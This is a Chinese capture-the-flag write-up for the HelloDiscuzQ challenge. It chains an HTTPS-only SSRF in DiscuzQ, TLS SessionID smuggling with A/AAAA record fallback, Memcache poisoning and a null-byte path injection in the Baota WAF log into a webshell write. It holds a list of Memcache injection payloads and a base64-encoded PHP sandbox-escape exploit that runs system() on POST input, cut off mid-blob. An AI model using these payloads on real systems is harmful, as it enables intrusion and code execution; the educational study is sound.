概述

之前看到研究院的同学写了一篇关于今年 Blackhat 议题的分析 https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw,对其中的原理比较感兴趣,但在复现时发现了一些问题。自己经过实验之后发现了一种新的利用方式。再结合自己之前在审计 DiscuzQ 代码时发现的一个 HTTP/HTTPS 的无回显SSRF 点结合宝塔的 WAF 所依赖的 Memcache 形成一套完整的题目,也算是该种新利用方式的复现环境了。

背景

何谓 SSRF

在计算机安全中,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。

服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。

WIKIPEDIA SSRF解析(HTTPS://ZH.WIKIPEDIA.ORG/WIKI/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0

由此可见,我们可以利用 SSRF 漏洞来让服务器作为一个代理,让漏洞服务器去访问我们想让他访问的东西,即便这个东西是只有漏洞服务器本身能访问,例如与漏洞服务器同处一个内网的数据库等。

DNS Rebinding

DNS重新绑定是计算机攻击的一种形式。 在这种攻击中,恶意网页会导致访问者运行客户端脚本,攻击网络上其他地方的计算机。 从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问为脚本提供服务的同一主机上的内容。 比较域名是实施此策略的重要部分,因此DNS重新绑定通过滥用域名系统(DNS)来绕过这种保护。

这种攻击可以通过让受害者的网络浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用网络。 它也可以用于使用受害者机器发送垃圾邮件,分布式拒绝服务攻击或其他恶意活动。

WIKIPEDIA DNS重新绑定攻击(https://zh.wikipedia.org/wiki/DNS%E9%87%8D%E6%96%B0%E7%BB%91%E5%AE%9A%E6%94%BB%E5%87%BB

简单来说,就是在请求时会先验证请求地址中的域名解析结果,如果为合法地址(例如外网地址)则发送出正式请求,否则就拒绝发出。

例如,在程序请求一个URL 时,程序会先提取出其中的 Host,判断其是否为外网地址,如果是则正式发出请求。

这里就最多存在两次 DNS 解析,一次是程序提取出 Host 进行的一次解析,第二次则是正式发出请求时会再做一次解析。

为什么说是最多存在两次呢,因为很多系统有 DNS 缓存,会依据请求的 TTL(Time To Live,存活时间,下同)进行缓存,例如这一个域名记录的 TTL 是 600 秒,第一次请求与第二次请求之间间隔不足 600 秒的话第二次请求就会直接用第一次请求的结果,那么这两者就当然是一样的了。

那么我们可不可以将这个时间设置为 0,在第一期请求时是一个结果,第二次再做请求时则再去请求一次,这一次请求则返回另外一个结果呢?大部分 DNS 服务商不会允许你将 TTL 设置为0,但如果你将 NS 设置为你自己的服务器之后再尝试做请求的话就可以返回 TTL 为 0 的结果,从而强制客户端请求两次解析,两次解析你服务端也可以控制返回不同的结果了。

TLS SSRF

我们可以利用 TLS 协议的 SNI (服务端名称指示)来进行 SSRF。原理为让服务器对外发出 TLS 包,里面含有我们想让其发送的东西。具体可以参见 https://news.ycombinator.com/item?id=17956285 ,但这种方式的局限性比较大,一个是我测试到的客户端(比如 curl 等等)都发不出这种请求。

关于 When TLS hacks You

结合上面提到的研究院小伙伴的文章以及 https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf 原议题的 PPT,我们可以发现一种新的攻击方式,即利用 TLS 中的 SessionID 结合 DNS 重绑定进行攻击。

大致流程如下:

  1. 利用服务器发起一个 HTTPS 请求。
  2. 请求时会发起一个 DNS 解析请求,DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的服务器。
  3. 攻击者服务器响应请求,并返回一个精心构造过的 SessionID,并延迟几秒后回应一个跳转。
  4. 客户端接收到这个回应之后会进行跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求,这次返回的结果则会指向 SSRF 攻击的目标(例如本地的数据库)。
  5. 因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行,发送到目标的那个端口上。
  6. 则达到目的,成功对目标端口发送构造过的数据,成功 SSRF。

但在实际测试中,我们发现,当第一次请求完成之后,进行跳转时所发出的请求并不会再做一次解析请求,经过探究我们发现是因为这些客户端(例如 curl)中对 DNS 解析结果做了强制缓存,在第二次请求时直接使用第一次解析的结果,导致第二次应该按照 DNS TTL 0 的解析结果发出的第二次解析没有进行。

curl 如此,所有依赖 libcurl 的请求库亦然,那么对于这种情况我们应该如何进行攻击利用呢?

接下来以西湖论剑 2020 的一道 Web 题 HelloDiscuzQ 为例子,来介绍一下利用 A 记录和 AAAA 记录结合 TLS 进行 SSRF。

题目解析

题目名称

HelloDiscuzQ

复现地址

http://hellodiscuzq.xhlj.wetolink.com/

所涉及知识点

  • 代码审计
  • 新型 SSRF
  • Lua 语言特性
  • PHP bypass disable function

步骤

  1. 打开靶机,是 DiscuzQ 系统。

2. 那么就到官网下载代码审计下。

下载之后开始审计,发现其中在 app/Api/Controller/Analysis/ResourceAnalysisGoodsController.php 这里有一个 SSRF 点,根据输入地址的不同判断之后进入 guzzlehttp(底层调用 curl 相关函数) 和 file_get_contents 的请求分支。

结合前面的代码来看,虽然此处请求 URL 可控,但限制死了只允许访问 http 和 https 的地址,其他地址无法访问,file_get_contents 和 guzzlehttp 也无法跳转到 gopher 以及 file 等协议。

来调用这个 API 试试,这个 API 的地址是这个。

直接请求,要求验证。

那么就在网站上注册一个用户,尝试利用 https://discuz.com/api-docs/v1/Login.html 这里的接口登录一下获取凭证。

拷贝 access_token 到 Authorization 头,再对上面那个 API 发起请求让他去请求别的页面。

点击发送,就会发送请求到自己的 requestbin 上。

3.那么先利用 SSRF 来探测一下本地有什么服务。

本地其他未开放端口都会回显 Connection Refused。

但对于开放的端口,则是其他回显。

综合探测以及回显结果,可以发现 80,888,8888,3306,11211 端口开放。

判断有 http 服务器,mysql 服务器,memcache 服务器,且为宝塔面板搭建。

4.那么如何判断 HTTP 服务器的种类以及反向代理过去的 Host 呢?

看 HTTP 响应头?不行,因为那是反向代理的响应头。

那么就来访问一下一些特定的页面看看回显,比如,尝试把他的错误页面搞出来。

利用 SSRF 来访问 80 端口上 HTTP 服务器上的一些不存在文件看看。

有部分内容回显,根据这些综合比对 Apache,Nginx 等服务器的 404 页面确定为 Apache。

服务器类型有了,对于反向代理发过去宝塔的 Apache 的 Host 如何获取呢,我们可以通过反向代理访问 .htaccess 文件,看看后端返回的错误页面。

http://hellodiscuzq.xhlj.wetolink.com/.htaccess

从这个页面中除了可以获知服务器为 Apache 服务器之外,也可得知反向代理的主机头为 10.20.124.208。

5.再来测试一下是否有启用 WAF。

http://hellodiscuzq.xhlj.wetolink.com/pages/topic/index?id=2%20or%201=1

看到拦截页面,为宝塔 WAF。

结合上面看到的服务器为 Apache 服务器,推测此 WAF 为宝塔 Apache WAF,运行需要依赖 Memcache 服务器,所以解释了为什么会有 Memcache 服务器。

6.来审计一下宝塔 Apache WAF的代码看看。

看到 /www/server/btwaf/httpd.lua 宝塔 Apache WAF 的主文件。

看到 307 行的调用,作用为拦截之后记录到日志文件里。

追踪看 write_to_file 这个函数,看到其文件路径为拼接得来。

其中参与拼接的 server_name 为全局变量,在运行起始时有定义。

因为在宝塔中一个网站可以绑定多个域名,则在 get_server_name 函数中会先将请求的 Host 与缓存进行匹配,获取到最终是哪个网站,如果缓存中有则直接返回网站的主 Host。

7.那么我们就可以在缓存中写入一个恶意的主机名,使其拼接到路径中,造成任意文件写入。

且内容我们也同样可控,前面的 uri,ua 等写入内容我们均可控。

8.最终的攻击路径如下:

  • SSRF 攻击 Memcache,将恶意的 Host 写入 Memcache。
  • 使用恶意请求去访问网站,即可触发日志记录,拼接路径之后造成任意文件写入拿到权限。

9.首先是 SSRF 攻击 Memcache。

因为我们之前看到的是只允许访问 HTTP/HTTPS 的 SSRF 点,我们就要尝试利用 HTTPS 中 TLS 的 SessionID 去攻击 Memcache 进而写入我们想要的 Host。

预期写入的内容为

  • key:10.20.124.208
  • vaue: ../../wwwroot/10.20.124.208/public/a.php\x00(EOF)

路径可从自己安装的宝塔以及 DiscuzQ 中获得。

为什么会有一个 \x00 EOF 字符呢,因为在我们上面看到的代码中 server_name 位于字符串中间位置,前后还有内容,在 Lua 中我们可以利用 \x00 EOF 字符来截断它,从而让他准确地写入我们想要写入的命令。

那么写入 Memcache 的命令如何呢?

按理来说应该是

set 10.20.124.208
../../wwwroot/10.20.124.208/public/a.php\x00

但因为 SessionID 只能为 32 字节长,所以我们需要分段写入。

Memcache 中提供了追加写入的命令 append,我们可以利用这个来绕过长度的限制写入我们的路径。

最终我们的命令集如下。

session_id = [
        "\nset 10.20.124.208 0 0 5\n../..\r\n",
        "\nappend 10.20.124.208 0 0 2\n/w\r\n",
        "\nappend 10.20.124.208 0 0 2\nww\r\n",
        "\nappend 10.20.124.208 0 0 2\nro\r\n",
        "\nappend 10.20.124.208 0 0 2\not\r\n",
        "\nappend 10.20.124.208 0 0 2\n/1\r\n",
        "\nappend 10.20.124.208 0 0 2\n0.\r\n",
        "\nappend 10.20.124.208 0 0 2\n20\r\n",
        "\nappend 10.20.124.208 0 0 2\n.1\r\n",
        "\nappend 10.20.124.208 0 0 2\n24\r\n",
        "\nappend 10.20.124.208 0 0 2\n.2\r\n",
        "\nappend 10.20.124.208 0 0 2\n08\r\n",
        "\nappend 10.20.124.208 0 0 2\n/p\r\n",
        "\nappend 10.20.124.208 0 0 2\nub\r\n",
        "\nappend 10.20.124.208 0 0 2\nli\r\n",
        "\nappend 10.20.124.208 0 0 2\nc/\r\n",
        "\nappend 10.20.124.208 0 0 2\na.\r\n",
        "\nappend 10.20.124.208 0 0 2\nph\r\n",
        "\nappend 10.20.124.208 0 0 2\np\x00\r\n",
    ]

前面都有 \n 后面也有 \r\n,标记 Memcache 命令的开始和结束。

那么如何让 SSRF 漏洞点每一次请求都会先请求我们的恶意 TLS 服务器,将这些 SessionID 拿到再去请求 Memcache 服务器。

那么这里就需要利用到 CURL 中一种特殊的请求行为了,也就是对同时具有 A 记录和 AAAA 记录的域名的解析行为。

在 CURL 中,对于一个域名,如果同时具有 A 记录和 AAAA 记录,那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址,如果这些地址无法连接,则会尝试连接同时得到的 A 记录或者 AAAA 记录。

在某些情况下,会出现:

AAAA 记录地址不通,会连接到 A 记录地址上。

A记录地址不通,会连接到 AAAA 记录地址上。

例如,

第一个地址不通,则会尝试第二个地址。

那么我们可以这样做:

  • 第一次让 CURL 去访问恶意的 HTTPS 服务器,拿到一个恶意的 SessionID
  • 然后使恶意的 HTTPS 服务器无法接收新的连接
  • 这时恶意的 HTTPS 给出第一次返回的结果,使其进行同域名跳转
  • 跳转时会尝试进行新连接,发现恶意的HTTPS 服务器无法连接。
  • 则会尝试连接这个域名下的其他记录所指向的地址,并带上 SessionID

成功将恶意的数据发送到我们想要的目标上。

那么来实际操作下。

首先将恶意的 HTTPS 服务器搭建起来,服务器源码在这里。

https://github.com/glzjin/tlslite-ng

tests 下直接运行 ./httpsserver.sh,自己复现注意替换证书等相关设置,证书自己申请。

然后我们还要让他连接一次以后无法被第二次连接,就搭建一个代理来完成,代理脚本如下:

# coding=utf-8

import socket
import threading

source_host = '127.0.0.1'
source_port = 11210

desc_host = '0.0.0.0'
desc_port = 11211

def send(sender, recver):
    while 1:
        try:
            data = sender.recv(2048)
        except:
            break
            print "recv error"

        try:
            recver.sendall(data)
        except:
            break
            print "send error"
    sender.close()
    recver.close()

def proxy(client):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((source_host, source_port))
    threading.Thread(target=send, args=(client, server)).start()
    threading.Thread(target=send, args=(server, client)).start()

def main():
    proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_server.bind((desc_host, desc_port))
    proxy_server.listen(50)

    print "Proxying from %s:%s to %s:%s ..."%(source_host, source_port, desc_host, desc_port)
    
    conn, addr = proxy_server.accept()
    print "received connect from %s:%s"%(addr[0], addr[1])
    threading.Thread(target=proxy, args=(conn, )).start()

if __name__ == '__main__':
    main()

代理 11211 端口到 11210 端口,直接 python 运行即可。

接下来别忘了将 A 记录 和 AAAA 记录给域名设置上。

AAAA 记录指向自己可以控制的恶意 HTTPS 服务器,A 记录指向 127.0.0.1。AAAA 记录值填写的虽然是 IPV6 的地址,但其实访问还是走的 IPV4 的通道,这类地址可通过 https://www.ultratools.com/tools/ipv4toipv6Result?address=120.92.217.158 得来。

这种应对的是 AAAA 记录优先的情况,如果出现 A 记录优先的情况请注意随机应变。

万事具备,那么就来试一试了。

触发 SSRF,可以看到其被请求之后拿到了恶意的 SessionID,之后就会带着这些数据去请求本地的 memcache 了。(如果没有请求到自己的服务器就多点几次)

然后再次把代理脚本跑起来。

继续请求。

继续写数据进去。

如此往复,直到把所有数据都写过去。

10.然后就可以用一个恶意请求触发 WAF 日志。

为了避免我们之后的代码被拦截,这里使用 base64 编码传输。

11. 尝试访问 a.php,可以看到文件已经成功写入。

http://hellodiscuzq.xhlj.wetolink.com/a.php

12.尝试执行一下 phpinfo 试试。

先将 phpinfo(); base64 编码。

然后发送出去。

13.简单看一下,有 disable_function 和 open_basedir,需要绕过。

PHP 版本为 7.4.10,则使用 https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/ 这里的脚本进行绕过。

将其编码为 base64。

IwojIFBIUCBTcGxEb3VibHlMaW5rZWRMaXN0OjpvZmZzZXRVbnNldCBVQUYKIyBDaGFybGVzIEZvbCAoQGNmcmVhbF8pCiMgMjAyMC0wOC0wNwojIFBIUCBpcyB2dWxuZXJhYmxlIGZyb20gNS4zIHRvIDguMCBhbHBoYQojIFRoaXMgZXhwbG9pdCBvbmx5IHRhcmdldHMgUEhQNysuCiMKIyBTcGxEb3VibHlMaW5rZWRMaXN0IGlzIGEgZG91Ymx5LWxpbmtlZCBsaXN0IChETEwpIHdoaWNoIHN1cHBvcnRzIGl0ZXJhdGlvbi4KIyBTYWlkIGl0ZXJhdGlvbiBpcyBkb25lIGJ5IGtlZXBpbmcgYSBwb2ludGVyIHRvIHRoZSAiY3VycmVudCIgRExMIGVsZW1lbnQuCiMgWW91IGNhbiB0aGVuIGNhbGwgbmV4dCgpIG9yIHByZXYoKSB0byBtYWtlIHRoZSBETEwgcG9pbnQgdG8gYW5vdGhlciBlbGVtZW50LgojIFdoZW4geW91IGRlbGV0ZSBhbiBlbGVtZW50IG9mIHRoZSBETEwsIFBIUCB3aWxsIHJlbW92ZSB0aGUgZWxlbWVudCBmcm9tIHRoZQojIERMTCwgdGhlbiBkZXN0cm95IHRoZSB6dmFsLCBhbmQgZmluYWxseSBjbGVhciB0aGUgY3VycmVudCBwdHIgaWYgaXQgcG9pbnRzCiMgdG8gdGhlIGVsZW1lbnQuIFRoZXJlZm9yZSwgd2hlbiB0aGUgenZhbCBpcyBkZXN0cm95ZWQsIGN1cnJlbnQgaXMgc3RpbGwKIyBwb2ludGluZyB0byB0aGUgYXNzb2NpYXRlZCBlbGVtZW50LCBldmVuIGlmIGl0IHdhcyByZW1vdmVkIGZyb20gdGhlIGxpc3QuCiMgVGhpcyBhbGxvd3MgZm9yIGFuIGVhc3kgVUFGLCBiZWNhdXNlIHlvdSBjYW4gY2FsbCAkZGxsLT5uZXh0KCkgb3IKIyAkZGxsLT5wcmV2KCkgaW4gdGhlIHp2YWwncyBkZXN0cnVjdG9yLgojICAKIwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwpkZWZpbmUoJ05CX0RBTkdMSU5HJywgMjAwKTsKZGVmaW5lKCdTSVpFX0VMRU1fU1RSJywgNDAgLSAyNCAtIDEpOwpkZWZpbmUoJ1NUUl9NQVJLRVInLCAweGNmNWVhMSk7CmZ1bmN0aW9uIGkycygmJHMsICRwLCAkaSwgJHg9OCkKewogICAgZm9yKCRqPTA7JGo8JHg7JGorKykKICAgIHsKICAgICAgICAkc1skcCskal0gPSBjaHIoJGkgJiAweGZmKTsKICAgICAgICAkaSA+Pj0gODsKICAgIH0KfQpmdW5jdGlvbiBzMmkoJiRzLCAkcCwgJHg9OCkKewogICAgJGkgPSAwOwogICAgZm9yKCRqPSR4LTE7JGo+PTA7JGotLSkKICAgIHsKICAgICAgICAkaSA8PD0gODsKICAgICAgICAkaSB8PSBvcmQoJHNbJHArJGpdKTsKICAgIH0KICAgIHJldHVybiAkaTsKfQpjbGFzcyBVQUZUcmlnZ2VyCnsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIGdsb2JhbCAkZGxscywgJHN0cnMsICRyd19kbGwsICRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzOwogICAgICAgICMicHJpbnQoJ1VBRiBfX2Rlc3RydWN0OiAnIC4gIlxuIik7CiAgICAgICAgJGRsbHNbTkJfREFOR0xJTkddLT5vZmZzZXRVbnNldCgwKTsKICAgICAgICAKICAgICAgICAjIEF0IHRoaXMgcG9pbnQgZXZlcnkgJGRsbC0+Y3VycmVudCBwb2ludHMgdG8gdGhlIHNhbWUgZnJlZWQgY2h1bmsuIFdlIGFsbG9jYXRlCiAgICAgICAgIyB0aGF0IGNodW5rIHdpdGggYSBzdHJpbmcsIGFuZCBmaWxsIHRoZSB6dmFsIHBhcnQKICAgICAgICAkZmFrZV9kbGxfZWxlbWVudCA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCBTSVpFX0VMRU1fU1RSKSk7CiAgICAgICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAweDAwLCAweDEyMzQ1Njc4KTsgIyBwdHIKICAgICAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsIDB4MDgsIDB4MDAwMDAwMDQsIDcpOyAjIHR5cGUgKyBvdGhlciBzdHVmZgogICAgICAgIAogICAgICAgICMgRWFjaCBvZiB0aGVzZSBkbGxzIGN1cnJlbnQtPm5leHQgcG9pbnRlcnMgcG9pbnQgdG8gdGhlIHNhbWUgbG9jYXRpb24sCiAgICAgICAgIyB0aGUgc3RyaW5nIHdlIGFsbG9jYXRlZC4gV2hlbiBjYWxsaW5nIG5leHQoKSwgb3VyIGZha2UgZWxlbWVudCBiZWNvbWVzCiAgICAgICAgIyB0aGUgY3VycmVudCB2YWx1ZSwgYW5kIGFzIHN1Y2ggaXRzIHJjIGlzIGluY3JlbWVudGVkLiBTaW5jZSByYyBpcyBhdAogICAgICAgICMgdGhlIHNhbWUgcGxhY2UgYXMgemVuZF9zdHJpbmcubGVuLCB0aGUgbGVuZ3RoIG9mIHRoZSBzdHJpbmcgZ2V0cyBiaWdnZXIsCiAgICAgICAgIyBhbGxvd2luZyB0byBSL1cgYW55IHBhcnQgb2YgdGhlIGZvbGxvd2luZyBtZW1vcnkKICAgICAgICBmb3IoJGkgPSAwOyAkaSA8PSBOQl9EQU5HTElORzsgJGkrKykKICAgICAgICAgICAgJGRsbHNbJGldLT5uZXh0KCk7CiAgICAgICAgaWYoc3RybGVuKCRmYWtlX2RsbF9lbGVtZW50KSA8PSBTSVpFX0VMRU1fU1RSKQogICAgICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBmYWtlX2RsbF9lbGVtZW50IGRpZCBub3QgaW5jcmVhc2UgaW4gc2l6ZScpOwogICAgICAgIAogICAgICAgICRsZWFrZWRfc3RyX29mZnNldHMgPSBbXTsKICAgICAgICAkbGVha2VkX3N0cl96dmFsID0gW107CiAgICAgICAgIyBJbiB0aGUgbWVtb3J5IGFmdGVyIG91ciBmYWtlIGVsZW1lbnQsIHRoYXQgd2UgY2FuIG5vdyByZWFkIGFuZCB3cml0ZSwKICAgICAgICAjIHRoZXJlIGFyZSBsb3RzIG9mIHplbmRfc3RyaW5nIGNodW5rcyB0aGF0IHdlIGFsbG9jYXRlZC4gV2Uga2VlcCB0aHJlZSwKICAgICAgICAjIGFuZCB3ZSBrZWVwIHRyYWNrIG9mIHRoZWlyIG9mZnNldHMuCiAgICAgICAgZm9yKCRvZmZzZXQgPSBTSVpFX0VMRU1fU1RSICsgMTsgJG9mZnNldCA8PSBzdHJsZW4oJGZha2VfZGxsX2VsZW1lbnQpIC0gNDA7ICRvZmZzZXQgKz0gNDApCiAgICAgICAgewogICAgICAgICAgICAjIElmIHdlIGZpbmQgYSBzdHJpbmcgbWFya2VyLCBwdWxsIGl0IGZyb20gdGhlIHN0cmluZyBsaXN0CiAgICAgICAgICAgIGlmKHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJG9mZnNldCArIDB4MTgpID09IFNUUl9NQVJLRVIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRsZWFrZWRfc3RyX29mZnNldHNbXSA9ICRvZmZzZXQ7CiAgICAgICAgICAgICAgICAkbGVha2VkX3N0cl96dmFsW10gPSAkc3Ryc1tzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRvZmZzZXQgKyAweDIwKV07CiAgICAgICAgICAgICAgICBpZihjb3VudCgkbGVha2VkX3N0cl96dmFsKSA9PSAzKQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKGNvdW50KCRsZWFrZWRfc3RyX3p2YWwpICE9IDMpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IHVuYWJsZSB0byBsZWFrIHRocmVlIHplbmRfc3RyaW5ncycpOwogICAgICAgIAogICAgICAgICMgZnJlZSB0aGUgc3RyaW5ncywgZXhjZXB0IHRoZSB0aHJlZSB3ZSBuZWVkCiAgICAgICAgJHN0cnMgPSBudWxsOwogICAgICAgICMgTGVhayBhZHJlc3Mgb2YgZmlyc3QgY2h1bmsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzBdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzFdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzJdKTsKICAgICAgICAkZmlyc3RfY2h1bmtfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSk7CiAgICAgICAgIyBBdCB0aGlzIHBvaW50IHdlIGhhdmUgMyBmcmVlZCBjaHVua3Mgb2Ygc2l6ZSA0MCwgd2hpY2ggd2UgY2FuIHJlYWQvd3JpdGUsCiAgICAgICAgIyBhbmQgd2Uga25vdyB0aGVpciBhZGRyZXNzLgogICAgICAgIHByaW50KCdBZGRyZXNzIG9mIGZpcnN0IFJXIGNodW5rOiAweCcgLiBkZWNoZXgoJGZpcnN0X2NodW5rX2FkZHIpIC4gIlxuIik7CiAgICAgICAgIyBJbiB0aGUgdGhpcmQgb25lLCB3ZSB3aWxsIGFsbG9jYXRlIGEgRExMIGVsZW1lbnQgd2hpY2ggcG9pbnRzIHRvIGEgemVuZF9hcnJheQogICAgICAgICRyd19kbGwtPnB1c2goWzNdKTsKICAgICAgICAkYXJyYXlfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MTgpOwogICAgICAgICMgQ2hhbmdlIHRoZSB6dmFsIHR5cGUgZnJvbSB6ZW5kX29iamVjdCB0byB6ZW5kX3N0cmluZwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MjAsIDB4MDAwMDAwMDYpOwogICAgICAgIGlmKGdldHR5cGUoJHJ3X2RsbFswXSkgIT0gJ3N0cmluZycpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IFVuYWJsZSB0byBjaGFuZ2UgemVuZF9hcnJheSB0byB6ZW5kX3N0cmluZycpOwogICAgICAgIAogICAgICAgICMgV2UgY2FuIG5vdyByZWFkIGFueXRoaW5nOiBpZiB3ZSB3YW50IHRvIHJlYWQgMHgxMTIyMzMwMCwgd2UgbWFrZSB6ZW5kX3N0cmluZyoKICAgICAgICAjIHBvaW50IHRvIDB4MTEyMjMzMDAtMHgxMCwgYW5kIHJlYWQgaXRzIHNpemUgdXNpbmcgc3RybGVuKCkKICAgICAgICAjIFJlYWQgemVuZF9hcnJheS0+cERlc3RydWN0b3IKICAgICAgICAkenZhbF9wdHJfZHRvcl9hZGRyID0gcmVhZCgkYXJyYXlfYWRkciArIDB4MzApOwogICAgCiAgICAgICAgcHJpbnQoJ0xlYWtlZCB6dmFsX3B0cl9kdG9yIGFkZHJlc3M6IDB4JyAuIGRlY2hleCgkenZhbF9wdHJfZHRvcl9hZGRyKSAuICJcbiIpOwogICAgICAgICMgVXNlIGl0IHRvIGZpbmQgemlmX3N5c3RlbQogICAgICAgICRzeXN0ZW1fYWRkciA9IGdldF9zeXN0ZW1fYWRkcmVzcygkenZhbF9wdHJfZHRvcl9hZGRyKTsKICAgICAgICBwcmludCgnR290IFBIUF9GVU5DVElPTihzeXN0ZW0pOiAweCcgLiBkZWNoZXgoJHN5c3RlbV9hZGRyKSAuICJcbiIpOwogICAgICAgIAogICAgICAgICMgSW4gdGhlIHNlY29uZCBmcmVlZCBibG9jaywgd2UgY3JlYXRlIGEgY2xvc3VyZSBhbmQgY29weSB0aGUgemVuZF9jbG9zdXJlIHN0cnVjdAogICAgICAgICMgdG8gYSBzdHJpbmcKICAgICAgICAkcndfZGxsLT5wdXNoKGZ1bmN0aW9uICgkeCkge30pOwogICAgICAgICRjbG9zdXJlX2FkZHIgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMV0gKyAweDE4KTsKICAgICAgICAkZGF0YSA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCAweDIwMCkpOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMzg7ICRpICs9IDgpCiAgICAgICAgewogICAgICAgICAgICBpMnMoJGRhdGEsICRpLCByZWFkKCRjbG9zdXJlX2FkZHIgKyAkaSkpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAjIENoYW5nZSBpbnRlcm5hbCBmdW5jIHR5cGUgYW5kIHBvaW50ZXIgdG8gbWFrZSB0aGUgY2xvc3VyZSBleGVjdXRlIHN5c3RlbSBpbnN0ZWFkCiAgICAgICAgaTJzKCRkYXRhLCAweDM4LCAxLCA0KTsKICAgICAgICBpMnMoJGRhdGEsIDB4NjgsICRzeXN0ZW1fYWRkcik7CiAgICAgICAgCiAgICAgICAgIyBQdXNoIG91ciBzdHJpbmcsIHdoaWNoIGNvbnRhaW5zIGEgZmFrZSB6ZW5kX2Nsb3N1cmUsIGluIHRoZSBsYXN0IGZyZWVkIGNodW5rIHRoYXQKICAgICAgICAjIHdlIGNvbnRyb2wsIGFuZCBtYWtlIHRoZSBzZWNvbmQgenZhbCBwb2ludCB0byBpdC4KICAgICAgICAkcndfZGxsLT5wdXNoKCRkYXRhKTsKICAgICAgICAkZmFrZV96ZW5kX2Nsb3N1cmUgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMF0gKyAweDE4KSArIDI0OwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSArIDB4MTgsICRmYWtlX3plbmRfY2xvc3VyZSk7CiAgICAgICAgcHJpbnQoJ1JlcGxhY2VkIHplbmRfY2xvc3VyZSBieSB0aGUgZmFrZSBvbmU6IDB4JyAuIGRlY2hleCgkZmFrZV96ZW5kX2Nsb3N1cmUpIC4gIlxuIik7CiAgICAgICAgCiAgICAgICAgIyBDYWxsaW5nIGl0IG5vdwogICAgICAgIAogICAgICAgIHByaW50KCdSdW5uaW5nIHN5c3RlbSgiJy4kX1BPU1RbY21kXS4nIik7JyAuICJcbiIpOwogICAgICAgICRyd19kbGxbMV0oJF9QT1NUW2NtZF0pOwogICAgICAgIHByaW50X3IoJ0RPTkUnLiJcbiIpOwogICAgfQp9CmNsYXNzIERhbmdsaW5nVHJpZ2dlcgp7CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkaSkKICAgIHsKICAgICAgICAkdGhpcy0+aSA9ICRpOwogICAgfQogICAgZnVuY3Rpb24gX19kZXN0cnVjdCgpCiAgICB7CiAgICAgICAgZ2xvYmFsICRkbGxzOwogICAgICAgICNEIHByaW50KCdfX2Rlc3RydWN0OiAnIC4gJHRoaXMtPmkgLiAiXG4iKTsKICAgICAgICAkZGxsc1skdGhpcy0+aV0tPm9mZnNldFVuc2V0KDApOwogICAgICAgICRkbGxzWyR0aGlzLT5pKzFdLT5wdXNoKDEyMyk7CiAgICAgICAgJGRsbHNbJHRoaXMtPmkrMV0tPm9mZnNldFVuc2V0KDApOwogICAgfQp9CmNsYXNzIFN5c3RlbUV4ZWN1dG9yIGV4dGVuZHMgQXJyYXlPYmplY3QKewogICAgZnVuY3Rpb24gb2Zmc2V0R2V0KCR4KQogICAgewogICAgICAgIHBhcmVudDo6b2Zmc2V0R2V0KCR4KTsKICAgIH0KfQovKioKICogUmVhZHMgYW4gYXJiaXRyYXJ5IGFkZHJlc3MgYnkgY2hhbmdpbmcgYSB6dmFsIHRvIHBvaW50IHRvIHRoZSBhZGRyZXNzIG1pbnVzIDB4MTAsCiAqIGFuZCBzZXR0aW5nIGl0cyB0eXBlIHRvIHplbmRfc3RyaW5nLCBzbyB0aGF0IHplbmRfc3RyaW5nLT5sZW4gcG9pbnRzIHRvIHRoZ